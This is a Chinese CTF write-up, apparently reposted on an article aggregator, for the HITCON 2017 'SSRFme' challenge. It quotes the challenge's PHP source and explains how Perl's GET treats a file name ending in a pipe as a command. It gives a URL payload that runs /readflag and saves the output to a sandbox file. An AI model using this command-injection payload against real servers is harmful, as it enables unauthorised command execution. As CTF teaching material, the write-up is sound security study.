[HITCON 2017]SSRFme pathinfo()返回一个数组&Linux命令Perl漏洞(后面加一个|可以命令执行)
2022/7/21 5:24:55
本文主要是介绍[HITCON 2017]SSRFme pathinfo()返回一个数组&Linux命令Perl漏洞(后面加一个|可以命令执行),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
进去一个代码审计:
x.x.x.x <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__);
还是老样子,先根据remote_addr创建一个目录:sandbox/md5()
看代码要上传两个参数,一个是url,一个是filename,先说filename,pathinfo($filename)返回一个数组给$info,数组里面有一项dirname,返回的是目录(不包括脚本名),然后再在原来创建的沙箱下再建一个目录,并进入这个目录,然后把$data写进$info["basename"]里。
再说说$data,$data是shell_exec()命令执行的返回,GET 这个格式好像是什么perl,也不太了解。
传参:
?url=file:bash -c /readflag|&filename=wuhu
perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠 |)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
并且将命令的执行结果作为这个文件的内容写入,根据代码逻辑,命令执行的结果除了写入该命令同名文件里,也会写到生成的沙箱的目录的文件中,地址栏访问就行了
这篇关于[HITCON 2017]SSRFme pathinfo()返回一个数组&Linux命令Perl漏洞(后面加一个|可以命令执行)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-18git仓库有更新,jenkins 自动触发拉代码怎么配置的?-icode9专业技术文章分享
- 2024-12-18Jenkins webhook 方式怎么配置指定的分支?-icode9专业技术文章分享
- 2024-12-13Linux C++项目实战入门教程
- 2024-12-13Linux C++编程项目实战入门教程
- 2024-12-11Linux部署Scrapy教程:新手入门指南
- 2024-12-11怎么将在本地创建的 Maven 仓库迁移到 Linux 服务器上?-icode9专业技术文章分享
- 2024-12-10Linux常用命令
- 2024-12-06谁看谁服! Linux 创始人对于进程和线程的理解是…
- 2024-12-04操作系统教程:新手入门及初级技巧详解
- 2024-12-04操作系统入门:新手必学指南